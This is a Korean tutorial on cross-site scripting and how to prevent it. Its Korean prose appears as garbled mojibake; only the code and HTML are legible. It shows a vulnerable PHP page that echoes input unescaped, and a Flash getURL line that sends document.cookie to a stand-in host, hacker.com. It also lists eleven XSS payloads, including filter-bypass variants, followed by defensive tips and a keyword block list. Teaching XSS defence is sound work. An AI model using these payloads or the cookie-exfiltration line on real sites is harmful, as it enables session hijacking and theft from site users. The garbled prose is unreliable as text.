[¾ÈÀüÇÑ À¥ ÄÚµå ÀÛ¼ºÇϱâ] #2. XSS (Cross-Site Scripting)
¿äÁò ´º½ºµîÀÇ ¸Å½º ¹Ìµð¾îµéÀ» ÅëÇØ XSS¿¡ ´ëÇÑ »ç½ÇÀÌ ÀϹÝÀε鿡°Ôµµ ³Î¸® ¾Ë·ÁÁ®ÀÖ½À´Ï´Ù.
¶ÇÇÑ, °ø½ÄÀûÀÎ Åë°è¿¡ ÀÇÇϸé, ÃÖ±ÙÀÇ °ø°ÝÀº XSS°¡ ¸¹Àº ºñÁßÀ» Â÷ÁöÇÏ°í ÀÖ´Ù°í ÇÕ´Ï´Ù.
ÀÌ·¯ÇÑ Cross-Site ScriptingÀº ¾î¶»°Ô Çϸç, ¶Ç ¾î¶»°Ô ¸·¾Æ¾ßÇÒ±î¿ä?
°á°ú·Î½á ÇØÄ¿°¡ ¿øÇϴ ű×(HTML Element)¸¦ ¶ç¿ì´Â °ÍÀÌ ÇÙ½É
ÇØÄ¿°¡ ¿øÇϴ ű׸¦ ÆäÀÌÁö¿¡ ¶ç¿ì´Â °ÍÀÌ XSSÀÇ ÇÙ½ÉÀ̶ó ÇÒ ¼ö ÀÖ½À´Ï´Ù.
¿¹Á¦ ÆäÀÌÁö¸¦ Çѹø º¸°Ú½À´Ï´Ù.
test.html:
<HTML>
<HEAD>
<TITLE>http://www.victim.com/test.html</TITLE>
</HEAD>
<BODY>
<FORM action="hello.php" method="POST">
À̸§: <INPUT TYPE=text name="user"><INPUT TYPE=submit value=" ÀλçÇϱâ ">
</FORM>
</BODY>
</HTML>
hello.php:
<?
print($user."´Ô ¾È³çÇϼ¼¿ä");
?>
Æò¹üÇÑ Àλ縻 ÆäÀÌÁöÀε¥, À̸§¿¡ Çѹø ű׸¦ ³Ö¾îº¸µµ·Ï ÇÏ°Ú½À´Ï´Ù.
±×·¯ÀÚ ¾Æ·¡¿Í °°Àº ȸéÀÌ ¶¹½À´Ï´Ù.
ÀÌ °ÍÀº ÀáÀçÀûÀ¸·Î ÀÌ ÆäÀÌÁö°¡ XSS¿¡ Ãë¾àÇÔÀ» ÀǹÌÇÕ´Ï´Ù.
½ÇÁ¦ ¸¹Àº ÀÎÅÍ³Ý °Ô½ÃÆǵéÀÌ ÀÌ·¯ÇÑ XSS °ø°Ý¿¡ Ãë¾àÇϸç, ¸·±â °¡Àå ±î´Ù·Î¿î °ÍÀÌ XSS °ø°ÝÀ̱⵵ ÇÕ´Ï´Ù.
¿Ö³ÄÇϸé, ƯÁ¤ ¹æ¹ýÀ» ÆÐÄ¡ÇÏ¸é ¶Ç ´Ù¸¥ ¹æ¹ýÀÌ ³ª¿À´Â °ÍÀÌ XSS´Ï±î¿ä.
¿¹¸¦ µé¾î ÇØÄ¿°¡ À̸§¿¡ À§ ÅÂ±× ´ë½Å ¾Æ·¡ ű׸¦ ÀÔ·ÂÇß´Ù°í ÇսôÙ.
<SCRIPT>top.location = 'http://www.playboy.com';</SCRIPT>
±×·¯¸é ÀλçÇϱ⠹öÆ°À» ´©¸£´Â ¼ø°£ ÇØÄ¿ÀÇ È¸é¿¡´Â Ç÷¹À̺¸À̶ó ºÒ¸®´Â ¼ºÀÎ ÀâÁö »çÀÌÆ®·Î À̵¿µÇ¸ç, ¸¸¾à ÀÌ°ÍÀÌ °Ô½ÃÆÇÀÌ¿´´Ù¸é, ÀÌ Å±װ¡ ´Þ¸° ±ÛÀ» Ŭ¸¯ÇÏ´Â ¼ø°£ Ç÷¹À̺¸ÀÌ »çÀÌÆ®·Î À̵¿µÊÀ» ÀǹÌÇÕ´Ï´Ù.
±×·±µ¥, ÀÌ°Ô ÀüºÎÀϱî¿ä?
°æ¿ì¿¡ µû¶ó ÀÌ¹Ì ¾Ë·ÁÁø Ãë¾àÁ¡À» ÀÌ¿ë, »ç¿ëÀÚ ÄÄÇ»ÅÍ¿¡ ¹ÙÀÌ·¯½º¸¦ ½ÉÀ» ¼ö ÀÖÀ¸¸ç, ȤÀº ±ÇÇÑÀ» Å»ÃëÇϱâ À§ÇØ ÄíÅ°(Cookie)¶ó ºÒ¸®´Â ÀÎÁõ Á¤º¸¸¦ °¡·Îç ¼öµµ ÀÖ½À´Ï´Ù.
¿©±â¼ °¡Àå ½É°¢ÇÑ ¹®Á¦°¡ 'ÄíÅ° Å»Ãë' ÀÔ´Ï´Ù.
ÄíÅ°¶ó ÇÔÀº, ·Î±×ÀÎ Á¤º¸ µîÀÌ ÀúÀåµÇ´Â Á¶±×¸¶ÇÑ ÆÄÀÏÀ̸ç, ÀÌ Á¤º¸°¡ ÇØÄ¿ÀÇ ¼Õ¿¡ µé¾î¿À°Ô µÇ¸é ÇØÄ¿´Â ±× »ç¶÷ÀÇ ¾ÆÀ̵ð·Î Á¢±ÙÇÒ ¼ö ÀÖ½À´Ï´Ù. ( ÀÌ ÄíÅ°´Â ¾ÏȣȵǾîÀֱ⠶§¹®¿¡, ÇØÄ¿°¡ XSS µîÀ» ÅëÇؼ ´Ù¸¥ »ç¶÷ÀÇ ÄíÅ°¸¦ »©¿Í ±×°ÍÀ» »ç¿ëÇÏ·Á°í ÇÏ´Â °Í ÀÔ´Ï´Ù. )
ÁÖ¼Òâ¿¡ ¾Æ·¡ ½ºÅ©¸³Æ®¸¦ ÀÔ·ÂÇÑ ÈÄ ½ÇÇàÇϸé Cookie Á¤º¸°¡ Ç¥½ÃµÊÀ» ¾Ë ¼ö ÀÖ½À´Ï´Ù.
ÇØÄ¿´Â ÀÌ·± ½ºÅ©¸³Æ®¸¦ ÀÌ¿ëÇÏ¿© ±ÛÀ» Àд »ç¿ëÀÚÀÇ ÄíÅ° Data¸¦ °¡·Îç ¼öµµ ÀÖ½À´Ï´Ù.:
javascript:alert(document.cookie);
¾ÈÀüÇÏ´Ù°í »ý°¢µÇ´Â ¼ºñ½º´Â ¿ÀÈ÷·Á Àû¿¡°Ô °ø°ÝÀÇ ±âȸ¸¦ ÁÙ ¼öµµ ÀÖ´Ù
¿¹¸¦ µé¾î Ç÷¡½Ã¸¦ ¼ºñ½ºÇϴ ȸ»ç°¡ ÀÖ´Ù°í ÇսôÙ. ÀÌ È¸»ç´Â Ç÷¡½Ã ¹«ºñ¸¦ ¾÷·ÎµåÇÒ ¼ö ÀÖ°í, ÀÌ ¹«ºñÀÇ ¼Ò°³¼¸¦ ÀÔ·ÂÇÒ ¼ö ÀÖ½À´Ï´Ù. ¹°·Ð ¼Ò°³¼ÀÇ ÀÔ·Â ³»¿ëÀº ¸ðµç ű׸¦ filtering ÇÔÀ¸·Î½á XSS °ø°ÝÀ¸·ÎºÎÅÍ ¾ÈÀüÇÏ´Ù°í °¡Á¤ÇÕ´Ï´Ù.
±×·¯³ª °ú¿¬ ¾ÈÀüÇÒ±î¿ä? 'No', Ç÷¡½Ã(flash)µµ XSS °ø°ÝÀ» ÇÒ ¼ö ÀÖ´Â ¸Å°³¹°ÀÌ µÇ±âµµ ÇÕ´Ï´Ù.
Ç÷¡½ÃÀÇ getURL() À̶ó´Â ¾×¼ÇÀº »ç¿ëÀÚ ºê¶ó¿ìÀú¿¡ 'URL À̵¿' ¸í·ÉÀ» ³»¸± ¼ö ÀÖ°Ô µÇ´Âµ¥, ÀÌ·¯ÇÑ
¾×¼ÇÀ» ÇØÄ¿´Â ¾Ç¿ëÇÏ¿© ÀÚ¹Ù½ºÅ©¸³Æ®¸¦ ½ÇÇàÇϵµ·Ï ÇÒ ¼öµµ ÀÖ½À´Ï´Ù. ¿¹¸¦ µé¾î ¾Æ·¡¿Í °°ÀÌ ¸»ÀÔ´Ï´Ù.:
getURL("javascript:top.location='http://www.hacker.com/cookie_save.php?cookie=' + escapeURIComponent(document.cookie);", "_top");
À§ ¾×¼ÇÀÌ ½ÇÇàµÇ´Â ¼ø°£ ÇØÄ¿ÀÇ »çÀÌÆ®·Î ÄíÅ°°¡ ÀúÀåµÊÀ» ¾Ë ¼ö ÀÖ½À´Ï´Ù. ±×·¯³ª, ÀÌ ¾×¼ÇÀº Ç÷¡½Ã ÆÄÀÏ(swf) ¾È¿¡ ³»ÀåµÇ¾î, Ç÷¡½Ã¸¦ ¾÷·ÎµåÇØÁÖ´Â ¼ºñ½º¸¦ Á¦°øÇÏ´Â »çÀÌÆ®Ãø¿¡¼´Â ÀÌ·¯ÇÑ ¾×¼Ç À¯¹«¸¦ ÆľÇÇÒ ¼ö ¾ø±â ¶§¹®¿¡ ¿ÀÈ÷·Á °¨ÁöÇϱ⠾î·Æ½À´Ï´Ù.
Ç÷¡½Ã¸¦ ÀÌ¿ëÇÑ XSS ´ëó¹ýÀº °£´ÜÇÕ´Ï´Ù.
¾Æ·¡¿Í °°ÀÌ allowScriptAccess ¼Ó¼ºÀ» ÀÌ¿ëÇÏ¿© ºê¶ó¿ìÀú·ÎÀÇ ½ºÅ©¸³Æ® Á¢±ÙÀ» Â÷´ÜÇÒ ¼ö ÀÖ½À´Ï´Ù.
<EMBED src="http://www.site.com/uploads/test.swf" allowScriptAccess="never">
ÇÊ¿äÇϸé allowNetworking="interval"À̶ó´Â ¼Ó¼ºÀ» Ãß°¡ÇÔÀ¸·Î½á, ¾Æ¿¹ getURL() ¾×¼ÇÀ̳ª, ±× ¹Û¿¡
³×Æ®¿öÅ· °ü·Ã ¾×¼Ç(XMLSocket, Loader class µî)µéÀ» »ç¿ëÇÏÁö ¸øÇÏ°Ô ÇÒ ¼ö ÀÖ½À´Ï´Ù.
¿ä°Ç ¸ô¶úÁö? ±â»ó õ¿ÜÇÑ XSS ¹æ¹ýµé ( "XSS" ¸Þ½ÃÁö ¶ç¿ì±â )
- ºê¶ó¿ìÀú ¹öÀüÀ̳ª ºê¶ó¿ìÀú Á¾·ù¿¡ µû¶ó¼ ÀÛµ¿ÇÏÁö ¾Ê´Â °ø°Ýµµ ÀÖ½À´Ï´Ù.
1. <SCRIPT> alert('XSS'); </SCRIPT>
±âº»ÀûÀÎ XSS
2. <IMG src="javascript:alert('XSS');" width=0 height=0>
°æ·Î¿¡ javascript: ÇÁ·ÎÅäÄÝÀ» »ðÀÔÇÑ XSS
3. <IMG src="#" onerror="alert('XSS');" width=0 height=0>
onerror À̺¥Æ®¸¦ ÀÌ¿ëÇÑ XSS
4. <IMG src="http://www.loaded.com/loaded.gif" width=5000 heigth=5000 onmouseenter="alert('XSS');this.outerHTML='';">
»ç¿ëÀÚ°¡ ¸¶¿ì½º¸¦ ´ëµµ·Ï Å©±â¸¦ Á¶Á¤ÇÏ°í onmouseenter À̺¥Æ®¸¦ ÀÌ¿ëÇÑ XSS
5. <APPLET data="javascript:alert('XSS');">
¾ÖÇø´ °æ·Î¿¡ javascript: ÇÁ·ÎÅäÄÝÀ» »ðÀÔÇÑ XSS
6. <TABLE style="background-image: url('javascript:alert('XSS');');">
Å×ÀÌºí ¹è°æ ±×¸²¿¡ javascript: ÇÁ·ÎÅäÄÝÀ» »ðÀÔÇÑ XSS
7. <IMG style="width: expression(alert('XSS'));">
CSSÀÇ expression ½ºÅ©¸³Æ® È®Àå ±â´ÉÀ» ÀÌ¿ëÇÑ XSS
8. <MARQUEE onstart="alert('XSS');this.outerHTML=''" loop=1>XSS</MARQUEE>
¸¶Äû ű×ÀÇ onstart À̺¥Æ®¸¦ ÀÌ¿ëÇÑ XSS
9. <IMG src="#" onerror="alert("XSS");" width=0 height=0>
XSS ¹æÁö ÇÊÅ͸¦ ¿ìȸÇÑ XSS #1
10. <IMG src="#" onerror="alert("XSS");" width=0 height=0>
XSS ¹æÁö ÇÊÅ͸¦ ¿ìȸÇÑ XSS #2
11. <IMG src="#" onerror="eval('a' + 'lert')('XSS');" width=0 height=0>
alert Å°¿öµå¸¦ ÇÊÅ͸µÇÏ´Â »çÀÌÆ®ÀÇ °æ¿ì À§¿Í °°ÀÌ eval() ÇÔ¼ö¸¦ ÀÀ¿ëÇÑ XSS°¡ °¡´ÉÇÏ´Ù
*** Tip: XSS¸¦ È®½ÇÇÏ°Ô ¸·´Â ¹æ¹ý
1. űװ¡ Çã¿ëµÇÁö ¾Ê´Â »çÀÌÆ®¿¡¼´Â &¸¦ &·Î, <¸¦ <·Î, >¸¦ >·Î ġȯÇÏ¿© ÅÂ±× ¹× Ư¼ö¹®ÀÚÀÇ ÀÔ·ÂÀ» Çã¿ëÇÏÁö ¾Ê°Ô ÇÑ´Ù.
2. ű׸¦ ºÎµæÀÌÇÏ°Ô Çã¿ëÇØ¾ß ÇÏ´Â °æ¿ì, on À̶ó´Â ±ÛÀÚ¸¦ onÀ¸·Î ÇÊÅ͸µÇÏ¸é ½ºÅ©¸³Æ® XSSÀÇ Àý¹Ý ÀÌ»óÀ» Â÷´ÜÇÏ´Â È¿°ú°¡ ÀÖ´Ù. ±×¸®°í script ¶ó´Â ±ÛÀÚ´Â s<!-- XSS filter -->cript ³ª s<COMMENT></COMMENT>cript ¿Í °°ÀÌ ÁÖ¼®À» »çÀÌ¿¡ »ðÀÔÇÔÀ¸·Î½á javascript: ÇÁ·ÎÅäÄÝÀÇ »ç¿ëÀ» ¸·À» ¼ö ÀÖ´Ù. script¿Í °°ÀÌ Ä¡È¯ÇÔÀ¸·Î½á ¹«·ÂÈÇØ¾ß ÇÏ´Â ±ÛÀÚµéÀº, script, expression, eval, document, cookie, alert, confirm, location, .js, ..vbs, frame, ... µîÀÌ ÀÖÀ»¼ö ÀÖÀ¸¸ç, <!-- -->, <COMMENT>~</COMMENT> ¿Í °°Àº ÁÖ¼® ű״ ¾Æ¿¹ ¾ø¾Ö¹ö¸®´Â ¹æ½ÄÀ¸·Î Â÷´ÜÇÑ´Ù. ´ëÇ¥ÀûÀ¸·Î ³×À̹ö¿¡¼ ¼ºñ½ºÇÏ´Â Ä«Æä °Ô½ÃÆÇÀÇ °æ¿ì ??; ȤÀº ??; ÀÇ ¹®ÀÚ¿¡¼ ??°¡ ¾Æ½ºÅ° ÄÚµå ¿µ¿ª(0~127)¿¡ ÀÖ´Â ¹®ÀÚÀÏ °æ¿ì ¾Æ¿¹ . À¸·Î ġȯÇعö·Á¼ XSS ¿ìȸ¸¦ Á¶±Ý ´õ ¾î·Æ°Ô Çسù´Ù.
3. ±Û ³»¿ë »Ó ¾Æ´Ï¶ó ÷ºÎÈÀÏÀ̳ª ±Û Á¦¸ñ, ±âŸ ÀÔ·Â °ªµé¿¡ ´ëÇؼµµ XSS ¹æÁö¸¦ ÇÑ´Ù.
4. ÀÔ·Â È¸é »Ó ¾Æ´Ï¶ó °Ô½Ã±Û Àбâ ȸé(Ãâ·Â ȸé)¿¡¼µµ XSS¹æÁö¸¦ ÇÑ´Ù.
5. ¾Ç¼º ű׸¦ <COMMENT> ... </COMMENT> , <!-- ... --> , <XMP> ... </XMP> µîÀ¸·Î °¨½Î Â÷´ÜÇÒ °æ¿ì, ´Ý´Â ű׸¦ ÀÓÀÇ·Î Ãß°¡ÇÔÀ¸·Î½á ¹«·ÂÈÇÒ ¼ö ÀÖÀ¸¹Ç·Î »ç¿ëÇÏÁö ¾Ê´Â´Ù.
6. XSS ÇÊÅ͸µ°ú ġȯ ÀÛ¾÷ µîÀº ¼¹ö´Ü¿¡¼ ó¸®ÇÏ´Â °ÍÀÌ ¿ìȸµÉ °¡´É¼ºÀ» ÁÙ¿©ÁØ´Ù.
7. ÃֽŠ¾Ç¼º XSS ÇÊÅ͸µÀº ¹ß°ß Áï½Ã ¹Ù·Î Ãß°¡½ÃŲ´Ù.
8. document.cookie µî°ú °°Àº ¾Ç¼º XSS¸¦ ƯÁ¤ Ƚ¼ö ÀÌ»ó ½ÃµµÇÏ¸é ±× »ç¿ëÀÚÀÇ ¾ÆÀÌÇÇ ´ë¿ªÀÇ ±Û¾²±â¸¦ ÇÏ·ç°£ Áß´ÜÇÏ´Â ¹æ½Äµµ ±¦Âú´Ù.
¿Ïº®ÇÑ XSS ¹æÁö´Â ¾ø´Ù. |